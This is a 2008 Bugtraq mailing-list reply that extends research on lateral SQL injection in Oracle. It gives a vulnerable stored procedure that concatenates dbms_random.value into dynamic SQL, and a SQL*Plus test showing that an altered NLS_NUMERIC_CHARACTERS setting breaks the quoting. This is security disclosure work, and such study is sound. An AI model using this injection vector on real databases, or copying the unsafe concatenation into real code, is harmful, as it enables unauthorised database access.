Bugtraq mailing list archives
Re: Lateral SQL Injection Revisited - No Special Privs Required
From: a.polyakov () dsec ru
Date: Fri, 18 Jul 2008 05:30:02 -0600
Great work David! as usual ) I just can add a little info Not only sysdate function can be used in procedure without input parametres. For example using dbms_random.value in procedure without input parameters, we also can inject sql code. --------------------------- vunerable procedure: create or replace procedure sh2kerr_num_proc is stmt varchar2(2000); n number:=dbms_random.value; begin stmt:='select object_name from all_objects where object_id = ' || n; execute immediate stmt; end; / -------------- TEST: SQL> ALTER SESSION SET NLS_NUMERIC_CHARACTERS = '''.' ; Session altered. SQL> select dbms_random.value from dual; VALUE ---------- '763871688 SQL> exec sh2kerr_num_proc BEGIN sh2kerr_num_proc; END; * ERROR at line 1: ORA-01756: quoted string not properly terminated -------------------------- Thats all.Thanks. Polyakov Alexandr Information Security Analyst Chief researcher of DSECRG department ______________________ DIGITAL SECURITY phone: +7 812 703 1547 +7 812 430 9130 e-mail: a.polyakov () dsec ru www.dsec.ru ----------------------------------- This message and any attachment are confidential and may be privileged or otherwise protected from disclosure. If you are not the intended recipient any use, distribution, copying or disclosure is strictly prohibited. If you have received this message in error, please notify the sender immediately either by telephone or by e-mail and delete this message and any attachment from your system. Correspondence via e-mail is for information purposes only. Digital Security neither makes nor accepts legally binding statements by e-mail unless otherwise agreed. -----------------------------------
Current thread:
- Lateral SQL Injection Revisited - No Special Privs Required David Litchfield (Jul 18)
- <Possible follow-ups>
- Re: Lateral SQL Injection Revisited - No Special Privs Required a . polyakov (Jul 18)
- RE: Lateral SQL Injection Revisited - No Special Privs Required David Litchfield (Jul 19)